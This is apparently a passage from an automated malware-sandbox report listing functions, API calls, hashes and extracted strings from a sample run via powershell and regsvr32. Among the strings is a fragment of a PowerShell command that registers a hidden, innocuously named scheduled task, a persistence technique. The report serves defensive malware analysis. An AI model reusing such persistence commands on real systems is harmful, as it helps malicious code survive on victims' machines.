Instruction ID: b27508b9be33615be015ad8fe37bb7c9b8d56a61cef730fe2b80a3485efd652d
Opcode Fuzzy Hash: e8d32bce3b9acdb14a6a6f916678b7c495e7451222ae8215f52e36ee9ac051ad
Instruction Fuzzy Hash: CBF0B43181868D8FDB06DF7488559D57FB0FF26310B0502A7E45DC70B2DB74A558CB92

Function 00007FFD9B2C460D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2072533424.00007FFD9B2C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b2c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9375033c0528ddf9b7a86d3fd48cca7c8290388e3464fda95116e4640ce272a0
Instruction ID: 90d6eee67e9b61ad744511e85556c84869be3b1bd738be345d2d068e535ed44d
Opcode Fuzzy Hash: 9375033c0528ddf9b7a86d3fd48cca7c8290388e3464fda95116e4640ce272a0
Instruction Fuzzy Hash: 86F0BE32B0D9098FDB68EB5CE4518A973E0EF4932076100FAE06DC71ABCA25EC44C741

Function 00007FFD9B2C48C0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2072533424.00007FFD9B2C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b2c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5c9a1a664516c014eb360fa879bf6eb6d6be3f3e86a8b820608219cd2d8cb83
Instruction ID: 4699cb229ac49263ccf0d6e2f86bf2c881dc2fe62e56f48cbf530cc3cd7bff63
Opcode Fuzzy Hash: e5c9a1a664516c014eb360fa879bf6eb6d6be3f3e86a8b820608219cd2d8cb83
Instruction Fuzzy Hash: 17F0E232B0D6488FEB68EB5CE4908A873E0FF0532074101FAE02DCB0A3CA26EC44C740

Non-executed Functions

Function 00007FFD9B1F8AB5 Relevance: 6.4, Strings: 5, Instructions: 190COMMON

Download Yara Rule

Strings

L_^, xrefs: 00007FFD9B1F8BC9
L_^, xrefs: 00007FFD9B1F8B6A
L_^, xrefs: 00007FFD9B1F8B7A
L_^, xrefs: 00007FFD9B1F8B2A
L_^, xrefs: 00007FFD9B1F8AC9

Memory Dump Source

Source File: 0000000E.00000002.2071441594.00007FFD9B1F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B1F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b1f0000_powershell.jbxd

Similarity

API ID:
String ID: L_^$L_^$L_^$L_^$L_^
API String ID: 0-2264858084
Opcode ID: 54c3b81c94e3b759b193491dce74901fa8bea93ae694a7a97d9c41b37d1b8fd3
Instruction ID: 63cdad6a20fdbef7c6d4dd743b627add2d649b495b266222cc00e1f67419a46f
Opcode Fuzzy Hash: 54c3b81c94e3b759b193491dce74901fa8bea93ae694a7a97d9c41b37d1b8fd3
Instruction Fuzzy Hash: E551B6A3B0FAC24FE362466A49664943F50FF23699B0A11F7C1D44B1E3ED262907C346

Analysis Process: regsvr32.exePID: 3152, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0.2%
Signature Coverage:	10.7%
Total number of Nodes:	1120
Total number of Limit Nodes:	17

Executed Functions

Function 00007FFDFB2AFC30 Relevance: 110.4, APIs: 51, Strings: 10, Instructions: 3612COMMON

Download Yara Rule

APIs

FreeEnvironmentStringsW.KERNEL32 ref: 00007FFDFB2AFE1A

Part of subcall function 00007FFDFB275950: memcpy.MSVCRT ref: 00007FFDFB275D71

CloseHandle.KERNEL32 ref: 00007FFDFB2B0C20
GetLastError.KERNEL32 ref: 00007FFDFB2B3BE3
CloseHandle.KERNEL32 ref: 00007FFDFB2B3CD4
CloseHandle.KERNEL32 ref: 00007FFDFB2B3D1B
CloseHandle.KERNEL32 ref: 00007FFDFB2B3D82
CloseHandle.KERNEL32 ref: 00007FFDFB2B3D97
CloseHandle.KERNEL32 ref: 00007FFDFB2B4254

Strings

assertion failed: is_code_point_boundary(self, new_len), xrefs: 00007FFDFB2B0AE6, 00007FFDFB2B14CD
.exeprogram not found, xrefs: 00007FFDFB2B085D
PATHstd\src\sys_common\process.rs, xrefs: 00007FFDFB2B1B25
]?\\, xrefs: 00007FFDFB2B06C0
program path has no file name, xrefs: 00007FFDFB2B42C0
\?\\, xrefs: 00007FFDFB2B06B8
#$*+-./:?@\_cmd.exe /e:ON /v:OFF /d /c ", xrefs: 00007FFDFB2B2EF5
exe\\.\NULexit code: , xrefs: 00007FFDFB2B13B9, 00007FFDFB2B1521, 00007FFDFB2B1708, 00007FFDFB2B19BB, 00007FFDFB2B1C0E
assertion failed: self.height > 0, xrefs: 00007FFDFB2B3B6F
\cmd.exemaximum number of ProcThreadAttributes exceeded, xrefs: 00007FFDFB2B2157, 00007FFDFB2B2198

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: CloseHandle$EnvironmentErrorFreeLastStringsmemcpy
String ID: program path has no file name$#$*+-./:?@\_cmd.exe /e:ON /v:OFF /d /c "$.exeprogram not found$PATHstd\src\sys_common\process.rs$\?\\$\cmd.exemaximum number of ProcThreadAttributes exceeded$]?\\$assertion failed: is_code_point_boundary(self, new_len)$assertion failed: self.height > 0$exe\\.\NULexit code:
API String ID: 3975177916-1077193248
Opcode ID: ba1096540c7540645495dfa36d7aae2386e001769c8719bd2c118a7c909b1bde
Instruction ID: 21bf385a0898185ac14a2bd794c1e083d290b1d1ed0715c96a6c14040f8690c6
Opcode Fuzzy Hash: ba1096540c7540645495dfa36d7aae2386e001769c8719bd2c118a7c909b1bde
Instruction Fuzzy Hash: 8573A862B1AAD389EB709F25D8607F92760FB04789F448135CE6D9BBEDDF3892418700

Function 00007FFDFB21DBC0 Relevance: 39.5, APIs: 20, Strings: 2, Instructions: 974memorytimenativeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32 ref: 00007FFDFB21DC5D
GetSystemTimes.KERNEL32 ref: 00007FFDFB21DCAD
GetProcessIoCounters.KERNEL32 ref: 00007FFDFB21DE62
OpenProcessToken.ADVAPI32 ref: 00007FFDFB21DF3C
GetTokenInformation.ADVAPI32 ref: 00007FFDFB21DF87
GetProcessHeap.KERNEL32 ref: 00007FFDFB21DF99
HeapAlloc.KERNEL32 ref: 00007FFDFB21DFB3
GetTokenInformation.ADVAPI32 ref: 00007FFDFB21DFD9
CloseHandle.KERNEL32 ref: 00007FFDFB21E0C8
NtQueryInformationProcess.NTDLL ref: 00007FFDFB21E1DC
NtQueryInformationProcess.NTDLL ref: 00007FFDFB21E220
ReadProcessMemory.KERNEL32 ref: 00007FFDFB21E278
ReadProcessMemory.KERNEL32 ref: 00007FFDFB21E2A7
memcpy.MSVCRT ref: 00007FFDFB21E2CD

Part of subcall function 00007FFDFB21FD30: VirtualQueryEx.KERNEL32 ref: 00007FFDFB21FD77

ReadProcessMemory.KERNEL32 ref: 00007FFDFB21E360
ReadProcessMemory.KERNEL32 ref: 00007FFDFB21E38E
memset.MSVCRT ref: 00007FFDFB21E54E
GetModuleFileNameExW.PSAPI ref: 00007FFDFB21E567
VirtualQueryEx.KERNEL32 ref: 00007FFDFB21E7CA
GetProcessTimes.KERNEL32 ref: 00007FFDFB21EDF9

Strings

Unable to read process memory informationReadProcessMemory returned unexpected number of bytes readUnable to read process dataC:\Users\win10-x64\.cargo\registry\src\index.crates.io-6f17d22bba15001f\sysinfo-0.32.0\src\windows\process.rs, xrefs: 00007FFDFB21E873
), xrefs: 00007FFDFB21E87F

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: Process$InformationMemoryQueryRead$TimesToken$HeapVirtual$AllocCloseCountersFileHandleModuleNameOpenSystemmemcpymemset
String ID: )$Unable to read process memory informationReadProcessMemory returned unexpected number of bytes readUnable to read process dataC:\Users\win10-x64\.cargo\registry\src\index.crates.io-6f17d22bba15001f\sysinfo-0.32.0\src\windows\process.rs
API String ID: 389343282-4288831377
Opcode ID: 8857f9efc52670e43b70f703aa61541305eb4361517dbd41628f14e8ea00ce29
Instruction ID: c40737c02a9809e377a50a6bee3e837fea632fc13978ce9d0728e5580eb76c29
Opcode Fuzzy Hash: 8857f9efc52670e43b70f703aa61541305eb4361517dbd41628f14e8ea00ce29
Instruction Fuzzy Hash: BFA2A622B0AA8391EB74AB15E820BBA67A0FF45784F445535DAAD937EDDF3CE444C700

Function 00007FFDFB204760 Relevance: 32.6, APIs: 11, Strings: 7, Instructions: 1074memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFB2DF530: memcpy.MSVCRT ref: 00007FFDFB2DF594

GetLastError.KERNEL32 ref: 00007FFDFB2047E6
memcpy.MSVCRT ref: 00007FFDFB204844
HeapAlloc.KERNEL32 ref: 00007FFDFB2048B7
GetLastError.KERNEL32 ref: 00007FFDFB2048BF
memcpy.MSVCRT ref: 00007FFDFB204907
HeapFree.KERNEL32 ref: 00007FFDFB204917

Strings

, xrefs: 00007FFDFB204DD3
Pgy~, xrefs: 00007FFDFB204D3E
a Display implementation returned an error unexpectedly/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs, xrefs: 00007FFDFB205BA4
not yet implemented, xrefs: 00007FFDFB205B7B
1, xrefs: 00007FFDFB204F39
-, xrefs: 00007FFDFB204F55
tes 1)) -TaskName '' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries), xrefs: 00007FFDFB204772

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memcpy$ErrorHeapLast$AllocFree
String ID: $-$1$Pgy~$a Display implementation returned an error unexpectedly/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs$not yet implemented$tes 1)) -TaskName '' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)
API String ID: 2977971772-935880289
Opcode ID: 83f77a5db162ac7926c7f3f0995e1b4223b1c9889a58ce84648d1b6940cc856b
Instruction ID: b4810fa26776c22f6d4ea45b9526e9cd80f44e50a7934df13428e631886e31c4
Opcode Fuzzy Hash: 83f77a5db162ac7926c7f3f0995e1b4223b1c9889a58ce84648d1b6940cc856b
Instruction Fuzzy Hash: 83C25C3670EAC285EB709B11E490BEAB7A0EB85780F548126DADD47BADDF7CD145CB00

Function 00007FFDFB20185D Relevance: 15.6, APIs: 7, Strings: 1, Instructions: 1649COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00007FFDFB2018A9

Strings

2Pz\, xrefs: 00007FFDFB202C3F

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memcmp
String ID: 2Pz\
API String ID: 1475443563-2698464549
Opcode ID: 75670cabc425f8fffa7c9766c47395dec9cd841e19bce0a28a32af43702aeda1
Instruction ID: 60c1c14f64c28434bfe357fed50b6fd8fbb2f848e859c4782fc66e5c6eae0971
Opcode Fuzzy Hash: 75670cabc425f8fffa7c9766c47395dec9cd841e19bce0a28a32af43702aeda1
Instruction Fuzzy Hash: B1F2952670978286EB209B25A4607AA77A1FBD9BC4F444335EEDD53BADDF3CD2018704

Function 00007FFDFB2AE2E0 Relevance: 12.5, APIs: 8, Instructions: 513
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FFDFB2AE350
ProcessPrng.BCRYPTPRIMITIVES ref: 00007FFDFB2AE37C

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: Process$CurrentPrng
String ID:
API String ID: 716580790-0
Opcode ID: 16b35659de58f62212754a2bee746a30cdd65fbf360830230b8dc60c33c43456
Instruction ID: 78da821a8b2645110738e7be7791413b5d202e5138f9f212012ece86c6e63259
Opcode Fuzzy Hash: 16b35659de58f62212754a2bee746a30cdd65fbf360830230b8dc60c33c43456
Instruction Fuzzy Hash: 7A22F632B06A939AE754BF21D8207F93B94BB44798F244635DA6D8B7E9DF3CD5428300

Function 00007FFDFB20F280 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 497
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32 ref: 00007FFDFB20F2BA
memcpy.MSVCRT ref: 00007FFDFB20F650
memcpy.MSVCRT ref: 00007FFDFB20FA83

Strings

0, xrefs: 00007FFDFB20F3B5
unknownARM x64C:\Users\win10-x64\.cargo\registry\src\index.crates.io-6f17d22bba15001f\sysinfo-0.32.0\src\windows\cpu.rs, xrefs: 00007FFDFB20F617

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memcpy$InfoSystem
String ID: 0$unknownARM x64C:\Users\win10-x64\.cargo\registry\src\index.crates.io-6f17d22bba15001f\sysinfo-0.32.0\src\windows\cpu.rs
API String ID: 1915069931-2550612777
Opcode ID: d6a2272041e40b724aa20a5dacbb8995ec4afb1dcaeccf49d007e1a5f260c61b
Instruction ID: 020b465ef59ffacb435307f432f2c08f4db693b68906b08153f147add0df0cde
Opcode Fuzzy Hash: d6a2272041e40b724aa20a5dacbb8995ec4afb1dcaeccf49d007e1a5f260c61b
Instruction Fuzzy Hash: 24326022B0E6C281E7609B11A460BAAA761FB857C0F588135DEED47BEEDF7CE5458700

Function 00007FFDFB201A43 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 1196COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFB20C160: GlobalMemoryStatusEx.KERNEL32 ref: 00007FFDFB20C3B3
Part of subcall function 00007FFDFB20C160: K32GetPerformanceInfo.KERNEL32 ref: 00007FFDFB20C44F

memcpy.MSVCRT ref: 00007FFDFB202126
memcpy.MSVCRT ref: 00007FFDFB202171
memcpy.MSVCRT ref: 00007FFDFB20244B
memcmp.MSVCRT ref: 00007FFDFB202618

Strings

2Pz\, xrefs: 00007FFDFB202C3F

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: memcpy$GlobalInfoMemoryPerformanceStatusmemcmp
String ID: 2Pz\
API String ID: 814616673-2698464549
Opcode ID: 3a482ac07fc9ee52deb5603def4d416b97b7fdd24e7918671344e7f49f44414d
Instruction ID: 05e85cb040d05d5f8c9b1370eb6ea41d39541d51722f689a09a48b5cc2b19548
Opcode Fuzzy Hash: 3a482ac07fc9ee52deb5603def4d416b97b7fdd24e7918671344e7f49f44414d
Instruction Fuzzy Hash: 36B2426670968286DB20DB11A45066B7BA1FBCDBC8F444235EEDD83BADDF3DD6018B04

Function 00007FFDFB220B68 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 88
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 00007FFDFB220C57

Strings

yW, xrefs: 00007FFDFB220C5E

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: InformationQuerySystem
String ID: yW
API String ID: 3562636166-791297507
Opcode ID: 52d47727048697872374a12b89f7e4276d110ab87487e43d9b766e2cb48f168f
Instruction ID: 2e0485a66261c192e45394b6a8960b820679766ba9fe9f4ed5a280282feec4e2
Opcode Fuzzy Hash: 52d47727048697872374a12b89f7e4276d110ab87487e43d9b766e2cb48f168f
Instruction Fuzzy Hash: 7D31906270EB8285FB619B01A420BABB691EB847D4F944535DE9CC7BEDCF3DD0848B00

Function 00007FFDFB28C9E0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 144d6ee9d57e6719ed89032d55413ed7ca63a30b44577e094033f07e3ff41f05
Instruction ID: 36b19964d8be72c328824149becd53dab0610fa38a04fb5b169c6cf5bca005ff
Opcode Fuzzy Hash: 144d6ee9d57e6719ed89032d55413ed7ca63a30b44577e094033f07e3ff41f05
Instruction Fuzzy Hash: C0E0D821BA48D5DDFF06EB749C169F463B1BF90358F480611E94D05154BE38C3D1C300

Function 00007FFDFB2A0B20 Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 272
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FFDFB2A0BA2
CloseHandle.KERNEL32 ref: 00007FFDFB2A0C84
WaitForSingleObject.KERNEL32 ref: 00007FFDFB2A0C91
GetLastError.KERNEL32 ref: 00007FFDFB2A0C9A
CloseHandle.KERNEL32 ref: 00007FFDFB2A0D19
CloseHandle.KERNEL32 ref: 00007FFDFB2A0D22
CloseHandle.KERNEL32 ref: 00007FFDFB2A0E19
CloseHandle.KERNEL32 ref: 00007FFDFB2A0E5F
CloseHandle.KERNEL32 ref: 00007FFDFB2A0E68

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FFDFB2A0C25, 00007FFDFB2A0D7E, 00007FFDFB2A0DAC

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: CloseHandle$ErrorLastObjectSingleWait
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 1454876536-2333694755
Opcode ID: 685dcc371962ab0a9f66f19c316897fb5882e323e4b61a22f2613bda1f7e35e7
Instruction ID: b65060f9f7435d31af299ee2618bcf39e218cdb4717c79a1c29d636237224678
Opcode Fuzzy Hash: 685dcc371962ab0a9f66f19c316897fb5882e323e4b61a22f2613bda1f7e35e7
Instruction Fuzzy Hash: B5C15D32B09A4399EB10AF61D860BED27A4FB44788F144531EE6D96AEDDF38E585C340

Function 00007FFDFB25ABD0 Relevance: 12.2, APIs: 7, Strings: 1, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(?,?,?,00007FFDFB25CF3B,?,?,?,?,?,?,00007FFDFB22777D), ref: 00007FFDFB25CAD9
TlsGetValue.KERNEL32(?,?,?,00007FFDFB25CF3B,?,?,?,?,?,?,00007FFDFB22777D), ref: 00007FFDFB25CB2F
TlsSetValue.KERNEL32(?,?,?,00007FFDFB25CF3B,?,?,?,?,?,?,00007FFDFB22777D), ref: 00007FFDFB25CB3F
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB25CF3B,?,?,?,?,?,?,00007FFDFB22777D), ref: 00007FFDFB25CBB9
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB25CF3B,?,?,?,?,?,?,00007FFDFB22777D), ref: 00007FFDFB25CC20
TlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB25CF3B,?,?,?,?,?,?,00007FFDFB22777D), ref: 00007FFDFB25CC30
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB25CF3B,?,?,?,?,?,?,00007FFDFB22777D), ref: 00007FFDFB25CC8C

Strings

falsetrue, xrefs: 00007FFDFB2F11B2

Memory Dump Source

Source File: 00000010.00000002.2336661010.00007FFDFB201000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFDFB200000, based on PE: true

Associated: 00000010.00000002.2336531618.00007FFDFB200000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337174074.00007FFDFB304000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337229740.00007FFDFB305000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337559759.00007FFDFB3FB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337653182.00007FFDFB3FC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337740712.00007FFDFB3FE000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.2337834437.00007FFDFB401000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffdfb200000_regsvr32.jbxd

Similarity

API ID: Value
String ID: falsetrue
API String ID: 3702945584-2583396087
